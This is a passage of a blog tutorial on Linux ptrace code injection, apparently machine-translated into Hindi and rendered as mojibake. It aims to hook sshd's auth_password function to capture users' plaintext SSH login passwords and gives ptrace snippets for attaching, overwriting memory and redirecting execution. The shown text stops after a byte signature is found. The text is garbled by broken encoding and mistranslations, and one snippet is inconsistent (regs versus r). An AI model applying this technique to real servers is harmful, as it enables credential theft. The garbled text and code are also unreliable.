рдордиреЛрд░рдВрдЬрди рдХреЗ рд▓рд┐рдП sshd рдореЗрдВ ptrace рдпрд╛ рдХреЛрдб рдЗрдВрдЬреЗрдХреНрд╢рди рдХрд╛ рдкрд░рд┐рдЪрдп



рдореИрдВрдиреЗ рдЬреЛ рд▓рдХреНрд╖реНрдп рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдерд╛ рд╡рд╣ рдмрд╣реБрдд рд╕рд░рд▓ рдерд╛: ptrace рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ sshd рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЬрд╛рдирдиреЗ рдХреЗ рд▓рд┐рдПред рдмреЗрд╢рдХ, рдпрд╣ рдХреБрдЫ рд╣рдж рддрдХ рдХреГрддреНрд░рд┐рдо рдХрд╛рд░реНрдп рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдХрдИ рдЕрдиреНрдп рд╣реИрдВ, рдЕрдзрд┐рдХ рдкреНрд░рднрд╛рд╡реА, рдЖрдк рдЬреЛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЙрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ (рдФрд░ SEGV рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдмрд╣реБрдд рдХрдо рд╕рдВрднрд╛рд╡рдирд╛ рдХреЗ рд╕рд╛рде), рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрд╣ рдореБрдЭреЗ рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЪреНрдЫрд╛ рд▓рдЧ рд░рд╣рд╛ рдерд╛ред

Ptrace рдХреНрдпрд╛ рд╣реИ?


рдЬреЛ рд▓реЛрдЧ рд╡рд┐рдВрдбреЛрдЬ рдкрд░ рдЗрдВрдЬреЗрдХреНрд╢рди рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рд╣реИрдВ, рд╡реЗ рд╢рд╛рдпрдж VirtualAllocEx() , WriteProcessMemory() , ReadProcessMemory() рдФрд░ CreateRemoteThread() рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЬрд╛рдирддреЗ рд╣реИрдВред рдпреЗ рдХреЙрд▓ рдЖрдкрдХреЛ рд╕реНрдореГрддрд┐ рдЖрд╡рдВрдЯрд┐рдд рдХрд░рдиреЗ рдФрд░ рдереНрд░реЗрдб рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкреНрд░рд╛рд░рдВрдн рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреЗ рд╣реИрдВред рд▓рд┐рдирдХреНрд╕ рдХреА рджреБрдирд┐рдпрд╛ рдореЗрдВ, рдХрд░реНрдиреЗрд▓ рд╣рдореЗрдВ ptrace рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП ptrace рд░рдирд┐рдВрдЧ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП Ptrace рдХрдИ рдЙрдкрдпреЛрдЧреА рдбрд┐рдмрдЧрд┐рдВрдЧ рдСрдкрд░реЗрд╢рди рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ:

  • PTRACE_ATTACH - рдЖрдкрдХреЛ рдбреАрдмрдЧ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд░реЛрдХрдХрд░ рдПрдХрд▓ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ
  • PTRACE_PEEKTEXT - рдЖрдкрдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрддрд╛ рд╕реНрдерд╛рди рд╕реЗ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ
  • PTRACE_POKETEXT - рдЖрдкрдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкрддрд╛ рд╕реНрдерд╛рди рдкрд░ рдбреЗрдЯрд╛ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ
  • PTRACE_GETREGS - рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреА рд╡рд░реНрддрдорд╛рди рд╕реНрдерд┐рддрд┐ рдХреЛ рдкрдврд╝рддрд╛ рд╣реИ
  • PTRACE_SETREGS - рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рд░рд┐рдХреЙрд░реНрдб рдХрд░рддрд╛ рд╣реИ
  • PTRACE_CONT - рдбреАрдмрдЧ рдХреА рдЧрдИ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХрд╛ рдирд┐рд╖реНрдкрд╛рджрди рдЬрд╛рд░реА рд░рдЦрддрд╛ рд╣реИ

рд╣рд╛рд▓рд╛рдБрдХрд┐ рдпрд╣ ptrace рдлреАрдЪрд░реНрд╕ рдХреА рдкреВрд░реА рд╕реВрдЪреА рдирд╣реАрдВ рд╣реИ, рд╣рд╛рд▓рд╛рдБрдХрд┐, рдореИрдВ Win32 рд╕реЗ рдкрд░рд┐рдЪрд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреА рдХрдореА рдХреЗ рдХрд╛рд░рдг рдореБрд╢реНрдХрд┐рд▓реЛрдВ рдореЗрдВ рдШрд┐рд░ рдЧрдпрд╛ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╡рд┐рдВрдбреЛрдЬ рдкрд░, рдЖрдк VirtualAllocEx() рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдореЗрдореЛрд░реА рдЖрд╡рдВрдЯрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдХрд┐ рдирдИ рдЖрд╡рдВрдЯрд┐рдд рдореЗрдореЛрд░реА рдХреЛ рдПрдХ рдкреЙрдЗрдВрдЯрд░ рд▓реМрдЯрд╛рддрд╛ рд╣реИред рдЪреВрдВрдХрд┐ рдпрд╣ ptrace рдореЗрдВ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрджрд┐ рдЖрдкрдХреЛ рдЕрдкрдирд╛ рдХреЛрдб рдХрд┐рд╕реА рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдПрдореНрдмреЗрдб рдХрд░рдирд╛ рд╣реИ рддреЛ рдЖрдкрдХреЛ рд╕реБрдзрд╛рд░ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред

рддреЛ рдареАрдХ рд╣реИ, рдЖрдЗрдП рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪреЗрдВ рдХрд┐ рдХреИрд╕реЗ рдкрд┐рдпрд░реНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред

Ptrace рдореВрд▓ рдмрд╛рддреЗрдВ


рдкрд╣рд▓реА рдЪреАрдЬ рдЬреЛ рд╣рдореЗрдВ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рд╡рд╣ рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдмреНрдпрд╛рдЬ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛ рдЬрд╛рддреА рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмрд╕ PTRACE_ATTACH рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рд╕рд╛рде ptrace рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВ:

 ptrace(PTRACE_ATTACH, pid, NULL, NULL); 

рдЯреНрд░реИрдлрд┐рдХ рдЬрд╛рдо рдХреЗ рд░реВрдк рдореЗрдВ рдпрд╣ рдХреЙрд▓ рд╕рд░рд▓ рд╣реИ, рдпрд╣ рдЙрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдкреАрдЖрдИрдбреА тАЛтАЛрдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдо рд╢рд╛рдорд┐рд▓ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЬрдм рдХреЙрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдПрдХ SIGSTOP рд╕рд┐рдЧреНрдирд▓ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдмреНрдпрд╛рдЬ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдзреНрдп рдХрд░рддрд╛ рд╣реИред

рд╢рд╛рдорд┐рд▓ рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж, рдХреБрдЫ рдмрджрд▓рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╣рдо рд╕рднреА рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреА рд╕реНрдерд┐рддрд┐ рдХреЛ рдмрдЪрд╛рдиреЗ рдХрд╛ рдПрдХ рдХрд╛рд░рдг рд╣реИред рдпрд╣ рд╣рдореЗрдВ рдмрд╛рдж рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛:

 struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs); 

рдЕрдЧрд▓рд╛, рдЖрдкрдХреЛ рдПрдХ рдЬрдЧрд╣ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рд╣рдо рдЕрдкрдирд╛ рдХреЛрдб рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдмрд╕реЗ рдЖрд╕рд╛рди рддрд░реАрдХрд╛ рдореИрдкреНрд╕ рдлрд╝рд╛рдЗрд▓ рд╕реЗ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓рдирд╛ рд╣реИ, рдЬреЛ рдкреНрд░рддреНрдпреЗрдХ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдЦрд░реАрдж рдореЗрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Ubuntu рдкрд░ рдЪрд▓ рд░рд╣реА sshd рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдкрд░ "/ proc / PID / рдореИрдкреНрд╕" рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:



рд╣рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде рдЖрд╡рдВрдЯрд┐рдд рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХреЛ рдЦреЛрдЬрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ (рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ рдХрд┐ "рдЖрд░-рдПрдХреНрд╕рдкреА")ред рдЬреИрд╕реЗ рд╣реА рд╣рдореЗрдВ рд╡рд╣ рдХреНрд╖реЗрддреНрд░ рдорд┐рд▓ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рд╕реВрдЯ рдХрд░рддрд╛ рд╣реИ, рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХреЗ рдЕрдиреБрд░реВрдк, рд╣рдо рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рд╣реЗрдЬрддреЗ рд╣реИрдВ, рддрд╛рдХрд┐ рдмрд╛рдж рдореЗрдВ рд╣рдо рдХрд╛рдо рдХреЛ рд╕рд╣реА рдврдВрдЧ рд╕реЗ рдмрд╣рд╛рд▓ рдХрд░ рд╕рдХреЗрдВ:

 ptrace(PTRACE_PEEKTEXT, pid, addr, NULL); 

Ptrace рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рдЖрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкрддреЗ рдкрд░ рдПрдХ рдорд╢реАрди рдбреЗрдЯрд╛ рд╢рдмреНрдж (x86 рдпрд╛ 64 рдмрд┐рдЯреНрд╕ x86_64 рдкрд░ 32 рдмрд┐рдЯреНрд╕) рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдЕрд░реНрдерд╛рдд, рдЕрдзрд┐рдХ рдбреЗрдЯрд╛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдкрддрд╛ рдмрдврд╝рд╛рддреЗ рд╣реБрдП рдХрдИ рдХреЙрд▓ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдиреЛрдЯ: linux рдореЗрдВ, рдЕрдиреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рдПрдбреНрд░реЗрд╕ рд╕реНрдкреЗрд╕ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП process_vm_readv () рдФрд░ process_vm_writev () рднреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ рдореИрдВ ptrace рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рд╕рд╛рде рд░рд╣реВрдБрдЧрд╛ред рдпрджрд┐ рдЖрдк рдХреБрдЫ рдЕрд▓рдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЗрди рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрдврд╝рдирд╛ рдмреЗрд╣рддрд░ рд╣реИред

рдЕрдм рд╣рдо рдЕрдкрдиреЗ рдкрд╕рдВрдж рдХреЗ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдХрд╛ рдмреИрдХрдЕрдк рд▓реЗ рдЪреБрдХреЗ рд╣реИрдВ, рд╣рдо рдУрд╡рд░рд░рд╛рдЗрдЯрд┐рдВрдЧ рд╢реБрд░реВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

PTRACE_PEEKTEXT рдХреА рддрд░рд╣, рдпрд╣ рдХреЙрд▓ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдкрддреЗ рдкрд░ рдПрдХ рд╕рдордп рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдорд╢реАрди рд╢рдмреНрдж рд░рд┐рдХреЙрд░реНрдб рдХрд░ рд╕рдХрддреА рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдорд╢реАрди рд╢рдмреНрдж рд▓рд┐рдЦрдиреЗ рдкрд░ рдХрдИ рдХреЙрд▓ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреАред

рдЕрдкрдирд╛ рдХреЛрдб рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЖрдкрдХреЛ рдЙрд╕ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред рд╕реНрдореГрддрд┐ рдореЗрдВ рдбреЗрдЯрд╛ рдХреЛ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реНрдЯреИрдХ), рд╣рдо рдкрд╣рд▓реЗ рд╕рд╣реЗрдЬреЗ рдЧрдП рд░рдЬрд┐рд╕реНрдЯрд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ:

 struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r); 

рдЕрдВрдд рдореЗрдВ, рд╣рдо PTRACE_CONT рдХреЗ рд╕рд╛рде рдирд┐рд╖реНрдкрд╛рджрди рдЬрд╛рд░реА рд░рдЦ рд╕рдХрддреЗ рд╣реИрдВ:

 ptrace(PTRACE_CONT, pid, NULL, NULL); 

рд▓реЗрдХрд┐рди рд╣рдореЗрдВ рдХреИрд╕реЗ рдкрддрд╛ рдЪрд▓реЗрдЧрд╛ рдХрд┐ рд╣рдорд╛рд░реЗ рдХреЛрдб рдиреЗ рдирд┐рд╖реНрдкрд╛рджрди рд╕рдорд╛рдкреНрдд рдХрд░ рджрд┐рдпрд╛ рд╣реИ? рд╣рдо рдПрдХ рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдЗрдВрдЯрд░рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ, рдЬрд┐рд╕реЗ "int 0x03" рдирд┐рд░реНрджреЗрд╢ рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ SIGTRAP рдЙрддреНрдкрдиреНрди рдХрд░рддрд╛ рд╣реИред рд╣рдо рд╡реЗрдЯрдкрд┐рдб рдХреЗ рд╕рд╛рде рдЗрд╕рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд░реЗрдВрдЧреЗ ():

 waitpid(pid, &status, WUNTRACED); 

рдкреНрд░рддреАрдХреНрд╖рд╛рдкрд┐рдб () - рдПрдХ рдЕрд╡рд░реЛрдзрдХ рдХреЙрд▓ рдЬреЛ рдкреАрдЖрдИрдбреА тАЛтАЛрдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛ рдХреЗ рд╕рд╛рде рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реНрдерд┐рддрд┐ рдЪрд░ рдХреЗ рд▓рд┐рдП рд░реЛрдХ рдХрд╛ рдХрд╛рд░рдг рд▓рд┐рдЦреЗрдЧрд╛ред рдпрд╣рд╛рдБ, рд╡реИрд╕реЗ, рдореИрдХреНрд░реЛрдЬрд╝ рдХрд╛ рдПрдХ рд╕рдореВрд╣ рд╣реИ рдЬреЛ рд╕реНрдЯреЙрдк рдХреЗ рдХрд╛рд░рдг рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдореЗрдВ рдЬреАрд╡рди рдХреЛ рдЖрд╕рд╛рди рдмрдирд╛рддрд╛ рд╣реИред

рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдПрд╕рдЖрдИрдЬреАрдЯреАрдЖрд░рдПрдкреА (рдЗрдВрдЯ 0x03 рдкрд░ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рдХрд╛рд░рдг) рдХреЗ рдХрд╛рд░рдг рдХреЛрдИ рд░реЛрдХ рдерд╛, рд╣рдо рдпрд╣ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); } 

рдЗрд╕ рдмрд┐рдВрджреБ рдкрд░, рд╣рдорд╛рд░реЗ рдПрдореНрдмреЗрдбреЗрдб рдХреЛрдб рдХреЛ рдкрд╣рд▓реЗ рд╣реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рдЪреБрдХрд╛ рд╣реИ рдФрд░ рд╣рдореЗрдВ рдЬреЛ рднреА рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рд╡рд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЙрд╕рдХреА рдореВрд▓ рд╕реНрдерд┐рддрд┐ рдореЗрдВ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░рдирд╛ рд╣реИред рд╕рднреА рд░рдЬрд┐рд╕реНрдЯрд░ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░реЗрдВ:

 ptrace(PTRACE_SETREGS, pid, NULL, &origregs); 

рдлрд┐рд░ рд╣рдо рдореВрд▓ рдбреЗрдЯрд╛ рдХреЛ рдореЗрдореЛрд░реА рдореЗрдВ рд╡рд╛рдкрд╕ рдХрд░реЗрдВрдЧреЗ:

 ptrace(PTRACE_POKETEXT, pid, addr, word); 

рдФрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ рдХрд░реЗрдВ:

 ptrace(PTRACE_DETACH, pid, NULL, NULL); 

рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рд╕рд┐рджреНрдзрд╛рдВрдд рд╣реИред рдЖрдЗрдП рдЕрдзрд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рднрд╛рдЧ рдкрд░ рдЪрд▓рддреЗ рд╣реИрдВред

Sshd рдЗрдВрдЬреЗрдХреНрд╢рди


рдореБрдЭреЗ рдЪреЗрддрд╛рд╡рдиреА рджреЗрдиреА рд╣реИ рдХрд┐ sshd рдЫреЛрдбрд╝рдиреЗ рдХрд╛ рдХреБрдЫ рдореМрдХрд╛ рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╕рд╛рд╡рдзрд╛рди рд░рд╣реЗрдВ рдФрд░ рдХреГрдкрдпрд╛ рдХрд╛рд░реНрдп рдкреНрд░рдгрд╛рд▓реА рдФрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рджреВрд░рд╕реНрде рдкреНрд░рдгрд╛рд▓реА рдкрд░ SSH: D рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЗрд╕реЗ рдЬрд╛рдВрдЪрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рди рдХрд░реЗрдВред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рд╣реА рдкрд░рд┐рдгрд╛рдо рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдХрдИ рдмреЗрд╣рддрд░ рддрд░реАрдХреЗ рд╣реИрдВ, рдореИрдВ рдЗрд╕реЗ рдХреЗрд╡рд▓ рдПрдХ рдордЬреЗрджрд╛рд░ рддрд░реАрдХреЗ рд╕реЗ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реВрдВ рдХрд┐ рдкрд┐рдпрд░реНрд╕ рдХреА рд╢рдХреНрддрд┐ рджрд┐рдЦрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдордЬреЗрджрд╛рд░ рддрд░реАрдХрд╛ рд╣реИ (рд╕рд╣рдордд рд╣реВрдВ рдХрд┐ рдпрд╣ рд╣реИрд▓реЛ рд╡рд░реНрд▓реНрдб рдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди рд▓рдЧрд╛рдиреЗ рд╕реЗ рдмреЗрд╣рддрд░ рд╣реИ;)

рдХреЗрд╡рд▓ рдПрдХ рдЪреАрдЬ рдЬреЛ рдореИрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рдорд╛рдгрд┐рдд рд╣реЛрдиреЗ рдкрд░ sshd рдЪрд▓рд╛рдиреЗ рд╕реЗ рд▓реЙрдЧрд┐рди-рдкрд╛рд╕рд╡рд░реНрдб рд╕рдВрдпреЛрдЬрди рдкреНрд░рд╛рдкреНрдд рдХрд░рдирд╛ рдерд╛ред рд╕реНрд░реЛрдд рдХреЛрдб рджреЗрдЦрддреЗ рд╕рдордп, рд╣рдо рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

Auth-passwd.c

 /* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... } 

рдпрд╣ рд╕реНрдкрд╖реНрдЯ рдкрд╛рда рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░реЗрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо / рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╢рд╛рдирджрд╛рд░ рдЬрдЧрд╣ рдХреА рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИред

рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдвреВрдВрдврдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЬреЛ рд╣рдореЗрдВ рдореЗрдореЛрд░реА рдореЗрдВ рдЗрд╕рдХреЗ [рдлрд╝рдВрдХреНрд╢рди] рдХреЛ рдЦреЛрдЬрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдЧрд╛ред рдореИрдВ рдЕрдкрдиреЗ рдкрд╕рдВрджреАрджрд╛ disassembly рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реВрдВ, radare2:



рдпрд╣ рдмрд╛рдЗрдЯреНрд╕ рдХреЗ рдПрдХ рдХреНрд░рдо рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИ рдЬреЛ рдЕрджреНрд╡рд┐рддреАрдп рд╣реИ рдФрд░ рдХреЗрд╡рд▓ Cort_password рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рд╣реЛрддрд╛ рд╣реИред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо рдЦреЛрдЬ рдХрд╛ рдЙрдкрдпреЛрдЧ radare2 рдореЗрдВ рдХрд░реЗрдВрдЧреЗ:



рдРрд╕рд╛ рд╣реБрдЖ рдХрд┐ рдЕрдиреБрдХреНрд░рдо xor rdx, rdx; cmp rax, 0x400 xor rdx, rdx; cmp rax, 0x400 рд╣рдорд╛рд░реА рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рддрд╛ рд╣реИ рдФрд░ рдкреВрд░реЗ ELF рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ рдкрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

